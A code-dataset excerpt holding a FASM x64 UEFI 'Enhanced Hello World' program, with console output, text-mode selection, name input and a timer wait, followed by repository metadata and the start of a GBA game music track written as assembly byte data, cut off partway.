;=============================; ;x64 UEFI Enhanced Hello World; ;=============================; ;An Enhanced Hello World Assembly Program using the ever improving UEFI FASM Library ;-------------------; ;FASM Program Header; ;-------------------; ;The following tells FASM to create an EFI executable application targeting an x64 Platform ; The ImageBase address value in the header is "at" 0x00400000 Windows NT application default ; https://docs.microsoft.com/en-us/windows/win32/debug/pe-format\ ; optional-header-windows-specific-fields-image-only ;FASM will use the custom MZ-DOS PE32+ Program Stub defined after "on" ; This saves a few bytes in the final output executable file format PE64 EFI at 0x400000 on '../UEFI-Program-MZ-DOS-Stub.exe' entry start ;Label name of the program execution entry point ;-----------------; ;Inclued Libraries; ;-----------------; include '../UEFI.inc' ;Include UEFI FASM Library ;-------------------; ;Numerical Constants; ;-------------------; BITS_IN_HEX = 4 ;----------------; ;Symbol Constants; ;----------------; SNL equ 0xA,0xD ;String New Line Characters (LineFeed + CarriageReturn) ;-----------------; ;Helper Structures; ;-----------------; struc CHAR16string [characters] { ;String Helper Struct common ;Common label name for all characters / One-line array .newLine CHAR16 SNL . CHAR16 characters .termination du 0 ;.size = $ - . ;Needs db/dw or something...? Not Used Right Now } ;--------------------------; ;Read-only Initialized Data; ;--------------------------; section '.rdata' data readable _newLineStr CHAR16 SNL,0 _spaceStr CHAR16 ' ',0 _xStr CHAR16 'x',0 _exclamationStr CHAR16 '!',0 _statusCodeStr CHAR16string 'Status Code: ' _helloStr CHAR16string 'Hello ' _helloWorldStr CHAR16string 'Hello World!' _stackPointerStr CHAR16string 'Stack Pointer: ' _textOutputMaxModeStr CHAR16string 'Max Mode: ' _textOutputModeStr CHAR16string 'Mode: ' _modeSelectStr CHAR16string 'Enter a mode number: ' _invalidInputStr CHAR16string 'Invalid Input',SNL _whatIsYourNameStr CHAR16string 'Enter your name: ' _enterContinueStr CHAR16string 'Press enter to continue...' _keyPressedStr CHAR16string 'Key Pressed: ' ;---------------------------; ;Read/Write Initialized Data; ;---------------------------; section '.data' data readable writeable _hexStrBuf CHAR16 '0x0000000000000000',0 ;Allocate max number of characters needed for UINT64 _decStrBuf CHAR16 '4294967295',0 ;Allocate max number of characters needed for UINT32 _modeColumns UINTN 0 _modeRows UINTN 0 _inputBufferIndex UINTN 0 _oneCharStr CHAR16 '?',0 _waitEventIndex UINTN 0 ;-----------------------------; ;Read/Write Uninitialized Data; ;-----------------------------; section '.bss' data readable writeable events: _inputBuffer rw 100 ;Reserve 100 characters for the input buffer align SIXTEEN_BYTE_BOUNDARY _timerEvent EFI_EVENT ;---------------; ;Relocation Data; ;---------------; section '.reloc' fixups data discardable ;A must? for UEFI applications... ;====; ;Code; ;====; ;The rest of the file defines executable read-only code section '.text' code executable readable ;--------------------; ;Macros and Functions; ;--------------------; ;Macros and Functions attempt to properly perserve register values ; There is no garentee that status register states will be preserved printStr: ;Prints String Using Pointer value in r12 SimpleTextOutputFunction OutputString, r12 ret macro OutputString string, callVersion { if ~ callVersion eq if ~ string eq r12 push r12 mov r12,string end if call printStr if ~ string eq r12 pop r12 end if else SimpleTextOutputFunction OutputString, string end if } ;Updates the string buffer in memory located at rbx with the text version of the value ; Value is in register rax and rcx is used to indicate number of bytes. ; Designed for on CHAR16 / UTF-16 Character Set which is character format of UEFI ; Expects rbx hexadecimal string buffer to have '0x' as starting characters numToHexStr: add rbx,4 push rdx numToHexStrLoop: mov rdx,rax shr rdx,cl and rdx,0xF cmp rdx,0xA jl @f add rdx,0x7 @@: add rdx,0x30 mov word [rbx],dx sub rcx,3 add rbx,2 loop numToHexStrLoop mov rdx,rax and rdx,0xF cmp rdx,0xA jl @f add rdx,0x7 @@: add rdx,0x30 mov word [rbx],dx add rbx,2 mov word [rbx],0 pop rdx ret macro OutputHexNumber register*, buffer*, numBytes*, callVersion { if ~ register eq rax push rax mov rax,register end if push rbx mov rbx,buffer push rcx mov rcx,(numBytes*8-4) call numToHexStr pop rcx pop rbx if ~ register eq rax pop rax end if OutputString buffer, callVersion } macro OutputStatus { push rax OutputString _statusCodeStr.newLine, 1 pop rax OutputHexNumber rax,_hexStrBuf,8,1 } ;Updates the decimal string buffer in memory (rbx) with the text version of a value ; The value is in register rax. Designed for CHAR16 / UTF-16 character set numToDecStr: push rbx ;save rbx value mov rbx,10 ;put 10 into rbx push rcx ;save rcx value xor rcx,rcx ;clear rcx push rdx ;save rdx value xor rdx,rdx ;clear rdx @@: div ebx add edx,0x30 push dx xor edx,edx inc rcx cmp eax,0 jnz @b mov rbx,r8 @@: pop dx mov word [rbx],dx add rbx,2 loop @b mov word [rbx],0 pop rdx pop rcx pop rbx ret macro OutputDecNumber register*, buffer*, callVersion { if ~ register eq rax push rax mov rax,register end if push r8 mov r8,buffer call numToDecStr pop r8 if ~ register eq rax pop rax end if OutputString buffer, callVersion } ;String buffer is in rbx decStrToNum: xor rax,rax ;clear rax push rcx ;save rcx value xor rcx,rcx ;clear rcx mov cx,word [rbx] cmp cx,0x30 ;Is At Least 0 jb invalidDecStr cmp cx,0x39 ;Is No More Than 9 ja invalidDecStr push rdx ;save rdx value push r8 mov r8,10 @@: sub cx,0x30 add eax,ecx add rbx,2 mov cx,word [rbx] cmp cx,0x30 ;Is At Least 0 jb @f cmp cx,0x39 ;Is No More Than 9 ja @f mul r8d jmp @b @@: pop r8 pop rdx invalidDecStr: pop rcx ret macro InputDecNumber buffer*, register*, checkInputValidity { if ~ register eq rax push rax end if push rbx mov rbx,buffer if ~ checkInputValidity eq end if call decStrToNum pop rbx if ~ register eq rax mov register,rax pop rax end if } ; Displays Entered Input On Console Too with printStr call ; Expects input buffer to be on r11 ; Simple: does not accept moving cursor or delete key waitForEnteredInput: xor r10,r10 ;Clear input buffer count mov r12,_oneCharStr readKeyStroke: SimpleTextInputReadKey cmp rax, EFI_SUCCESS jne waitForKeyStroke cmp bx, 0 ;is scan key jne readKeyStroke cmp cx, 0xD ;Is Key Enter jne @f ret ;Enter occured so return...maybe insert print newLine @@: ;Not Enter cmp cx, 0x8 ;Is Key Backspace jne @f cmp r10,0 je readKeyStroke dec r10 sub r11,2 jmp printCharacter @@: ;Not Backspace inc r10 mov word [r11], cx ;Future work:better addressing add r11,2 ;This is a test printCharacter: mov word [r12], cx call printStr jmp readKeyStroke ;Collect all input until no input waitForKeyStroke: SimpleTextInputWaitForKeyEvent _waitEventIndex jmp readKeyStroke macro WaitForEnteredInput countReg*, buffer*, saveRegisters { if ~ countReg eq r10 push r10 mov r10,countReg end if if ~ saveRegisters eq push r11 push r12 end if mov r11,buffer call waitForEnteredInput if ~ saveRegisters eq pop r12 pop r11 end if if ~ countReg eq r10 mov countReg,r10 pop r10 end if } waitForEnter: SimpleTextInputReadKey cmp rax, EFI_SUCCESS jne waitForEnterStroke cmp bx, 0 ;is scan key jne waitForEnter cmp cx, 0xD ;Is key Enter jne waitForEnter ret ;Enter occured so return waitForEnterStroke: SimpleTextInputWaitForKeyEvent _waitEventIndex jmp waitForEnter ;---------; ;Main Code; ;---------; start: ;Entry Point Label mov r10,rsp ;Move First Stack Pointer Value into r10 InitializeUEFI ;No Error Handling Yet mov r11,rsp ;Move Second Stack Pointer Value into r11 ;Initialize other elements of the UEFI FASM library BootServicesInitialize RuntimeServicesInitialize SimpleTextInputInitialize SimpleTextOutputInitialize ;Reset Text Output SimpleTextOutputFunction Reset, TRUE SimpleTextOutputFunction EnableCursor, FALSE SimpleTextOutputFunction SetAttribute, EFI_WHITE or EFI_BACKGROUND_BLACK SimpleTextOutputFunction ClearScreen ;Display the one and only Hello World String OutputString _helloWorldStr,1 ;Display the original stack pointer value mov r12, _stackPointerStr.newLine OutputString r12,1 OutputHexNumber r10,_hexStrBuf,8,1 ;Display the new baseline stack pointer value -> Visual Comparison of adjusted stack pointer OutputString r12,1 OutputHexNumber r11,_hexStrBuf,8,1 ;Disable watchdog timer...hopefully BootServicesFunction SetWatchdogTimer, 0, 0x10000, 0, 0 OutputStatus ;Display total number of modes (mode 1 / 80x50 may be unsupported) SimpleTextOutputMode MaxMode mov r10,rax ;Move number of output modes to r10 dec r10 OutputString _textOutputMaxModeStr.newLine,1 OutputDecNumber r10,_decStrBuf,1 ;Display Various Mode Options xor r11,r11 ;clear r11 - used for mode looping @@: SimpleTextOutputFunction QueryMode, r11, _modeColumns, _modeRows inc r11 cmp rax, EFI_SUCCESS jne @b ; jump back if information was not returned dec r11 OutputString _textOutputModeStr.newLine,1 OutputDecNumber r11,_decStrBuf,1 OutputString _spaceStr,1 OutputDecNumber [_modeColumns],_decStrBuf,1 OutputString _xStr,1 OutputDecNumber [_modeRows],_decStrBuf,1 inc r11 cmp r11, r10 jbe @b ;Loop for entered mode number SimpleTextInputFunction Reset, TRUE SimpleTextOutputFunction EnableCursor, TRUE mov r15, r10 selectMode: OutputString _modeSelectStr.newLine,1 WaitForEnteredInput r10, _inputBuffer OutputString _newLineStr,1 OutputDecNumber r10,_decStrBuf,1 mov r11, _inputBuffer ;This method of addressing is required for certain computers mov word [r11 + r10*2],0 OutputString _newLineStr,1 OutputString _inputBuffer,1 mov r11w, word [_inputBuffer] cmp r11w,0x30 ;Is At Least 0 jb invalidMode cmp r11w,0x39 ;Is No More Than 9 ja invalidMode InputDecNumber _inputBuffer, r11 OutputString _newLineStr,1 OutputDecNumber r11,_decStrBuf,1 cmp r15, r11 ;Check under max jb invalidMode SimpleTextOutputFunction QueryMode, r11, _modeColumns, _modeRows cmp rax, EFI_SUCCESS je modeSelected invalidMode: OutputString _invalidInputStr.newLine,1 ;OutputString _newLineStr,1 jmp selectMode modeSelected: SimpleTextOutputFunction SetMode, r11 ;Change to selected console out text mode ;Ask for your name and then print it into the center of the screen OutputString _whatIsYourNameStr,1 WaitForEnteredInput r10, _inputBuffer mov r11, _inputBuffer mov word [r11 + r10*2],0 ;mov word [r10*2 + _inputBuffer],0 ;Old mode that doesn't always work...??? SimpleTextOutputFunction EnableCursor, FALSE SimpleTextOutputFunction SetAttribute, EFI_LIGHTBLUE or EFI_BACKGROUND_LIGHTGRAY SimpleTextOutputFunction ClearScreen calculateMiddlePosition: xor rdx,rdx mov rax, [_modeRows] mov rbx, 2 div ebx mov r11, rax xor rdx,rdx mov rax, [_modeColumns] sub rax,7 sub rax,r10 div ebx mov r12,rax ;OutputDecNumber r12,_decStrBuf,1 ;OutputString _xStr,1 ;OutputDecNumber r11,_decStrBuf,1 SimpleTextOutputFunction SetCursorPosition, r12, r11 ;Output name in middle of output ;OutputDecNumber r10,_decStrBuf,1 OutputString _helloStr,1 OutputString _inputBuffer,1 OutputString _exclamationStr,1 ;Use timer services to wait for 2 seconds before proceeding BootServicesFunction CreateEvent, EVT_TIMER, TPL_CALLBACK,0,0, _timerEvent ;OutputStatus ;Set a timer event for 2 seconds from now BootServicesFunction SetTimer, [_timerEvent], TimerRelative, 20000000 ;OutputStatus BootServicesFunction WaitForEvent, 1, _timerEvent, _waitEventIndex ;OutputStatus BootServicesFunction CheckEvent, _timerEvent ;OutputStatus ;Press Enter to continue OutputString _newLineStr,1 OutputString _enterContinueStr.newLine,1 ;Display the press enter to continue string call waitForEnter OutputString _newLineStr,1 ExitSuccessfullyUEFI
24.955102
93
0.733808
d838d9bb11bc75d3a4740826f00c78b37c4d37bc
110,129
asm
Assembly
src/sound/song013restored.asm
MusicTheorist/Mother2GbaTranslation
70de3975a3284c4002a33e8ef8c20e4c2b039037
[ "MIT" ]
1
2021-04-18T04:26:52.000Z
2021-04-18T04:26:52.000Z
src/sound/song013restored.asm
MusicTheorist/Mother2GbaTranslation
70de3975a3284c4002a33e8ef8c20e4c2b039037
[ "MIT" ]
null
null
null
src/sound/song013restored.asm
MusicTheorist/Mother2GbaTranslation
70de3975a3284c4002a33e8ef8c20e4c2b039037
[ "MIT" ]
null
null
null
song013restored_pri equ 0 song013restored_rev equ 0 song013restored_mvl equ 127 song013restored_key equ 0 song013restored_tbs equ 1 song013restored_exg equ 0 song013restored_cmp equ 1 .align 4 ;**************** Track 1 (Midi-Chn.1) ****************; @song013restored_1: .byte KEYSH , song013restored_key+0 ; 000 ---------------------------------------- .byte VOICE , 8 .byte MODT , 0 .byte LFOS , 44 .byte PAN , c_v-64 .byte VOL , 10*song013restored_mvl/mxv .byte BENDR , 12 .byte VOL , 10*song013restored_mvl/mxv .byte 0*song013restored_mvl/mxv .byte BENDR , 12 .byte VOL , 0*song013restored_mvl/mxv .byte BENDR , 12 .byte BEND , c_v+0 .byte TIE , Cn5 , v088 .byte W32 .byte W01 .byte PAN , c_v-64 .byte W24 .byte W01 .byte VOL , 10*song013restored_mvl/mxv .byte W21 .byte 31*song013restored_mvl/mxv .byte PAN , c_v-18 .byte W17 ; 001 ---------------------------------------- .byte W13 .byte VOL , 39*song013restored_mvl/mxv .byte PAN , c_v-32 .byte W80 .byte W03 ; 002 ---------------------------------------- .byte W96 ; 003 ---------------------------------------- .byte W56 .byte W01 .byte VOL , 31*song013restored_mvl/mxv .byte PAN , c_v-18 .byte W18 .byte VOL , 10*song013restored_mvl/mxv .byte PAN , c_v-64 .byte W21 ; 004 ---------------------------------------- .byte VOL , 0*song013restored_mvl/mxv .byte W36 .byte W01 .byte EOT .byte W56 .byte W03 ; 005 ---------------------------------------- .byte W92 .byte W03 .byte VOL , 0*song013restored_mvl/mxv .byte BEND , c_v+0 .byte W01 ; 006 ---------------------------------------- .byte VOICE , 8 .byte BENDR , 12 .byte 12 .byte BEND , c_v+0 .byte FINE ;**************** Track 2 (Midi-Chn.2) ****************; @song013restored_2: .byte KEYSH , song013restored_key+0 ; 000 ---------------------------------------- .byte VOICE , 8 .byte MODT , 0 .byte LFOS , 44 .byte PAN , c_v+0 .byte VOL , 39*song013restored_mvl/mxv .byte BENDR , 12 .byte PAN , c_v+0 .byte VOL , 39*song013restored_mvl/mxv .byte 0*song013restored_mvl/mxv .byte PAN , c_v-64 .byte BENDR , 12 .byte VOL , 0*song013restored_mvl/mxv .byte PAN , c_v-64 .byte BENDR , 12 .byte BEND , c_v-1 .byte TIE , Bn4 , v088 .byte W01 .byte BEND , c_v+0 .byte W01 .byte c_v+1 .byte W01 .byte c_v+1 .byte W01 .byte c_v+0 .byte W01 .byte c_v-1 .byte W01 .byte c_v+0 .byte W01 .byte c_v-2 .byte W01 .byte c_v-2 .byte W01 .byte c_v+0 .byte W01 .byte c_v+1 .byte W01 .byte c_v+1 .byte W01 .byte c_v+0 .byte W01 .byte c_v+1 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte VOL , 24*song013restored_mvl/mxv .byte PAN , c_v+0 .byte BEND , c_v-1 .byte W01 .byte c_v-1 .byte W01 .byte c_v+0 .byte W01 .byte c_v+1 .byte W01 .byte c_v+1 .byte W01 .byte c_v+2 .byte W01 .byte c_v+2 .byte W01 .byte c_v+0 .byte W01 .byte c_v-1 .byte W01 .byte c_v-1 .byte W01 .byte c_v+0 .byte W01 .byte c_v+2 .byte W01 .byte c_v+0 .byte W01 .byte c_v+2 .byte W01 .byte c_v+1 .byte W01 .byte c_v+1 .byte W01 .byte c_v+0 .byte W01 .byte c_v-1 .byte W01 .byte c_v-1 .byte W01 .byte c_v-2 .byte W01 .byte c_v+0 .byte W01 .byte c_v+1 .byte W01 .byte c_v+1 .byte W01 .byte c_v+1 .byte W01 .byte c_v+0 .byte W01 .byte c_v-2 .byte W01 .byte c_v+0 .byte W01 .byte c_v-1 .byte W01 .byte c_v-1 .byte W01 .byte c_v+0 .byte W01 .byte c_v+2 .byte W01 .byte c_v+1 .byte W01 .byte c_v+0 .byte W01 .byte c_v-2 .byte W01 .byte c_v+0 .byte W01 .byte c_v-1 .byte W01 .byte c_v-2 .byte W01 .byte c_v+0 .byte W01 .byte VOL , 39*song013restored_mvl/mxv .byte BEND , c_v+0 .byte W01 .byte c_v+2 .byte W01 .byte c_v+0 .byte W01 .byte c_v-2 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v-1 .byte W01 .byte c_v-1 .byte W01 .byte c_v+0 .byte W01 .byte c_v+2 .byte W01 .byte c_v+0 .byte W01 .byte c_v+1 .byte W01 .byte c_v+1 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v-2 .byte W01 .byte c_v+0 .byte W01 .byte c_v+2 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v+1 .byte W01 .byte c_v+1 .byte W01 .byte c_v+0 .byte W01 .byte c_v-2 .byte W01 .byte c_v+0 .byte W01 .byte c_v+1 .byte W01 .byte c_v+0 .byte W01 .byte VOL , 50*song013restored_mvl/mxv .byte BEND , c_v+1 .byte W01 .byte c_v+2 .byte W01 .byte c_v+2 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v-2 .byte W01 .byte c_v+0 .byte W01 .byte c_v-1 .byte W01 .byte c_v-2 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v+2 .byte W01 .byte c_v+0 .byte W01 .byte c_v-1 .byte W01 .byte c_v+0 .byte W01 ; 001 ---------------------------------------- .byte c_v-1 .byte W01 .byte c_v-1 .byte W01 .byte c_v-2 .byte W01 .byte c_v+0 .byte W01 .byte c_v+2 .byte W01 .byte c_v+0 .byte W01 .byte c_v-1 .byte W01 .byte c_v+1 .byte W01 .byte VOL , 59*song013restored_mvl/mxv .byte BEND , c_v+0 .byte W01 .byte c_v-1 .byte W01 .byte c_v-1 .byte W01 .byte c_v+0 .byte W01 .byte c_v+1 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v+1 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v-2 .byte W01 .byte c_v+0 .byte W01 .byte c_v+1 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v+1 .byte W01 .byte c_v+2 .byte W01 .byte c_v+0 .byte W01 .byte c_v-1 .byte W01 .byte c_v+0 .byte W01 .byte c_v-2 .byte W01 .byte c_v-1 .byte W01 .byte c_v+0 .byte W01 .byte c_v+1 .byte W01 .byte c_v+2 .byte W01 .byte c_v+0 .byte W01 .byte c_v-1 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v-1 .byte W01 .byte c_v-1 .byte W01 .byte c_v+0 .byte W01 .byte c_v+1 .byte W01 .byte c_v+0 .byte W01 .byte c_v-1 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v+1 .byte W01 .byte c_v+1 .byte W01 .byte c_v+2 .byte W01 .byte c_v+2 .byte W01 .byte c_v+0 .byte W01 .byte c_v-1 .byte W01 .byte c_v-1 .byte W01 .byte c_v+0 .byte W01 .byte c_v+1 .byte W01 .byte c_v+0 .byte W01 .byte c_v+2 .byte W01 .byte c_v+2 .byte W01 .byte c_v+1 .byte W01 .byte c_v+0 .byte W01 .byte c_v-1 .byte W01 .byte c_v-1 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v+1 .byte W01 .byte c_v+0 .byte W01 .byte c_v-1 .byte W01 .byte c_v-1 .byte W01 .byte c_v-1 .byte W01 .byte c_v-1 .byte W01 .byte c_v-2 .byte W01 .byte c_v-1 .byte W01 .byte c_v+0 .byte W01 .byte c_v+1 .byte W01 .byte c_v+1 .byte W01 .byte c_v+0 .byte W01 .byte c_v+1 .byte W01 .byte c_v+0 .byte W01 .byte c_v-2 .byte W01 .byte c_v-2 .byte W01 .byte c_v+0 .byte W01 .byte c_v+1 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v+1 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v-1 .byte W01 .byte c_v-1 .byte W01 .byte c_v+0 .byte W01 .byte c_v+1 .byte W01 .byte c_v+1 .byte W01 ; 002 ---------------------------------------- .byte c_v+2 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v-1 .byte W01 .byte c_v-1 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v+2 .byte W01 .byte c_v+1 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v-1 .byte W01 .byte c_v+0 .byte W01 .byte c_v-1 .byte W01 .byte c_v+1 .byte W01 .byte c_v+1 .byte W01 .byte c_v+2 .byte W01 .byte c_v+1 .byte W01 .byte c_v+0 .byte W01 .byte c_v-2 .byte W01 .byte c_v-2 .byte W01 .byte c_v-1 .byte W01 .byte c_v-1 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v+1 .byte W01 .byte c_v+0 .byte W01 .byte c_v-2 .byte W01 .byte c_v+0 .byte W01 .byte c_v-2 .byte W01 .byte c_v-1 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v+2 .byte W01 .byte c_v+0 .byte W01 .byte c_v-2 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v-1 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v+2 .byte W01 .byte c_v+0 .byte W01 .byte c_v+1 .byte W01 .byte c_v+1 .byte W01 .byte c_v+0 .byte W01 .byte c_v-1 .byte W01 .byte c_v-2 .byte W01 .byte c_v+0 .byte W01 .byte c_v+2 .byte W01 .byte c_v+0 .byte W01 .byte c_v+1 .byte W01 .byte c_v+1 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v-2 .byte W01 .byte c_v+0 .byte W01 .byte c_v-1 .byte W01 .byte c_v+0 .byte W01 .byte EOT .byte BEND , c_v-2 .byte W02 .byte VOL , 68*song013restored_mvl/mxv .byte PAN , c_v-52 .byte BEND , c_v-56 .byte N01 , EnM1 .byte N01 , Fs0 .byte W01 .byte BEND , c_v+0 .byte W01 .byte c_v-47 .byte N01 , CsM1 .byte N02 , Fs0 .byte W01 .byte BEND , c_v+0 .byte W01 .byte VOL , 65*song013restored_mvl/mxv .byte PAN , c_v-51 .byte BEND , c_v-3 .byte N01 , DnM1 .byte W01 .byte BEND , c_v+44 .byte W01 .byte VOL , 61*song013restored_mvl/mxv .byte PAN , c_v-64 .byte BEND , c_v-2 .byte N01 , CsM1 .byte N01 , Gn0 .byte W01 .byte BEND , c_v-2 .byte N01 , Fn0 .byte W01 .byte BEND , c_v-2 .byte N05 , EnM1 .byte W01 .byte VOL , 59*song013restored_mvl/mxv .byte BEND , c_v+59 .byte W01 .byte c_v-19 .byte W01 .byte c_v+37 .byte W01 .byte VOL , 54*song013restored_mvl/mxv .byte BEND , c_v-19 .byte W01 .byte c_v-38 .byte N01 , Fs0 .byte W01 .byte BEND , c_v+0 .byte N01 , EnM1 .byte W01 .byte BEND , c_v-48 .byte N06 , Gn0 .byte W01 .byte BEND , c_v+0 .byte W01 .byte VOL , 50*song013restored_mvl/mxv .byte BEND , c_v-42 .byte W01 .byte c_v+0 .byte W01 .byte c_v-19 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte N07 , FsM1 .byte W01 .byte VOL , 44*song013restored_mvl/mxv .byte BEND , c_v+58 .byte W01 .byte c_v-22 .byte W01 .byte c_v+35 .byte W01 .byte c_v-7 .byte W01 .byte c_v+14 .byte W01 .byte VOL , 39*song013restored_mvl/mxv .byte BEND , c_v-20 .byte W01 .byte c_v-51 .byte N01 , Gn0 .byte W01 .byte BEND , c_v+2 .byte N03 , FsM1 .byte W01 .byte BEND , c_v+23 .byte W01 .byte c_v+0 .byte W01 .byte c_v-29 .byte N04 , Gn0 .byte W01 .byte BEND , c_v+0 .byte W01 ; 003 ---------------------------------------- .byte VOL , 31*song013restored_mvl/mxv .byte BEND , c_v-8 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte N05 , DnM1 .byte W01 .byte BEND , c_v+60 .byte W01 .byte c_v-5 .byte W01 .byte c_v+44 .byte W01 .byte VOL , 24*song013restored_mvl/mxv .byte BEND , c_v-9 .byte W01 .byte c_v+2 .byte N01 , Gn0 .byte W01 .byte BEND , c_v+2 .byte N03 , EnM1 .byte W01 .byte BEND , c_v+63 .byte W01 .byte c_v+0 .byte W01 .byte c_v-35 .byte N02 , Fs0 .byte W01 .byte BEND , c_v+0 .byte W01 .byte VOL , 10*song013restored_mvl/mxv .byte BEND , c_v-13 .byte W01 .byte c_v+0 .byte N01 , DnM1 .byte W01 .byte BEND , c_v+3 .byte N01 , Gn0 .byte W01 .byte BEND , c_v+51 .byte N01 , CsM1 .byte W01 .byte BEND , c_v-2 .byte N05 .byte N01 , En0 .byte W01 .byte BEND , c_v+55 .byte W01 .byte c_v+51 .byte W01 .byte c_v+44 .byte W01 .byte c_v+9 .byte W01 .byte c_v-2 .byte N01 , Fs0 .byte W01 .byte BEND , c_v-64 .byte W01 .byte c_v+0 .byte N01 , CsM1 .byte N02 , Ds0 .byte W01 .byte BEND , c_v+0 .byte W01 .byte c_v-5 .byte W01 .byte c_v+0 .byte N01 , CsM1 .byte W01 .byte BEND , c_v+10 .byte N01 , En0 .byte W01 .byte BEND , c_v+0 .byte N01 , EnM1 .byte W01 .byte BEND , c_v-49 .byte N01 , Fs0 .byte W01 .byte BEND , c_v+18 .byte N01 , CsM1 .byte W01 .byte BEND , c_v-49 .byte N01 , Dn0 .byte W01 .byte BEND , c_v+48 .byte N01 , DnM1 .byte W01 .byte BEND , c_v+1 .byte N01 .byte N01 , Fs0 .byte W01 .byte BEND , c_v+25 .byte W01 .byte c_v+2 .byte N03 , EnM1 .byte N01 , Fs0 .byte W01 .byte BEND , c_v-8 .byte W01 .byte c_v+25 .byte W01 .byte c_v+2 .byte N01 , Gn0 .byte W01 .byte BEND , c_v+0 .byte N01 , CsM1 .byte W01 .byte BEND , c_v-7 .byte N01 , Fn0 .byte W01 .byte BEND , c_v+0 .byte N01 , CsM1 .byte W01 .byte BEND , c_v+15 .byte N01 , Fn0 .byte W01 .byte BEND , c_v+0 .byte N01 , DsM1 .byte W01 .byte BEND , c_v-44 .byte N02 , En0 .byte W01 .byte BEND , c_v+0 .byte W01 .byte c_v-2 .byte N01 , DnM1 .byte W01 .byte BEND , c_v+37 .byte W01 .byte c_v-56 .byte N01 , Fn0 .byte W01 .byte BEND , c_v+0 .byte N07 , DsM1 .byte W01 .byte BEND , c_v+7 .byte W01 .byte c_v+18 .byte W01 .byte c_v-15 .byte W01 .byte c_v+0 .byte W02 .byte c_v+0 .byte W01 .byte c_v-2 .byte N01 , Fs0 .byte W01 .byte BEND , c_v+0 .byte N01 , FnM1 .byte W01 .byte BEND , c_v-2 .byte N03 , Fs0 .byte W01 .byte BEND , c_v+0 .byte W01 .byte c_v-64 .byte W01 .byte c_v+0 .byte N01 , EnM1 .byte W01 .byte BEND , c_v-57 .byte N01 , En0 .byte W01 .byte BEND , c_v+31 .byte N01 , CsM1 .byte W01 .byte BEND , c_v-64 .byte N01 , En0 .byte W01 .byte VOL , 0*song013restored_mvl/mxv .byte BEND , c_v+2 .byte N01 , DnM1 .byte W01 .byte BEND , c_v-58 .byte N06 , Fs0 .byte W01 .byte BEND , c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v+6 .byte W01 .byte c_v+0 .byte W01 .byte c_v+9 .byte W01 .byte c_v+0 .byte N07 , EnM1 .byte W01 .byte BEND , c_v+63 .byte W01 .byte c_v+0 .byte W01 .byte c_v+10 .byte W01 .byte c_v+6 .byte W01 .byte c_v+26 .byte W01 .byte c_v+2 .byte W01 .byte c_v-64 .byte N01 , Fs0 .byte W01 .byte BEND , c_v-2 .byte N01 , CsM1 .byte N04 , En0 .byte W01 .byte BEND , c_v-35 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W02 .byte c_v+0 .byte N01 , CsM1 .byte W01 .byte BEND , c_v+4 .byte N01 , Fn0 .byte W01 .byte BEND , c_v+0 .byte N06 , DsM1 .byte W01 .byte BEND , c_v+51 .byte W01 .byte c_v+0 .byte W01 .byte c_v+8 .byte W01 .byte c_v+0 .byte W01 .byte c_v+25 .byte W01 .byte c_v-3 .byte W01 .byte c_v-64 .byte N06 , Gn0 .byte W01 ; 004 ---------------------------------------- .byte BEND , c_v+0 .byte W01 .byte c_v-42 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v-8 .byte W01 .byte c_v+0 .byte N01 , DnM1 .byte W01 .byte BEND , c_v+4 .byte N01 , Ds0 .byte W01 .byte BEND , c_v+0 .byte N03 , DnM1 .byte W01 .byte BEND , c_v+58 .byte W01 .byte c_v+0 .byte W01 .byte c_v-41 .byte N01 , Fn0 .byte W01 .byte BEND , c_v+0 .byte N01 , EnM1 .byte W01 .byte BEND , c_v-57 .byte N01 , En0 .byte W01 .byte BEND , c_v-2 .byte N01 , CsM1 .byte W01 .byte BEND , c_v-24 .byte N06 , Dn0 .byte W01 .byte BEND , c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v+6 .byte W01 .byte c_v+0 .byte W01 .byte c_v+21 .byte W01 .byte c_v+0 .byte N01 , CsM1 .byte W01 .byte N02 , Dn0 .byte W01 .byte BEND , c_v+0 .byte W01 .byte c_v-26 .byte W01 .byte c_v-2 .byte N01 , CsM1 .byte W01 .byte BEND , c_v-40 .byte N01 , Gn0 .byte W01 .byte BEND , c_v+0 .byte N01 , EnM1 .byte W01 .byte BEND , c_v-58 .byte N09 , Fs0 .byte W01 .byte BEND , c_v+0 .byte W01 .byte c_v-35 .byte W01 .byte c_v+0 .byte W01 .byte c_v-13 .byte W01 .byte c_v-29 .byte W01 .byte c_v-64 .byte W01 .byte 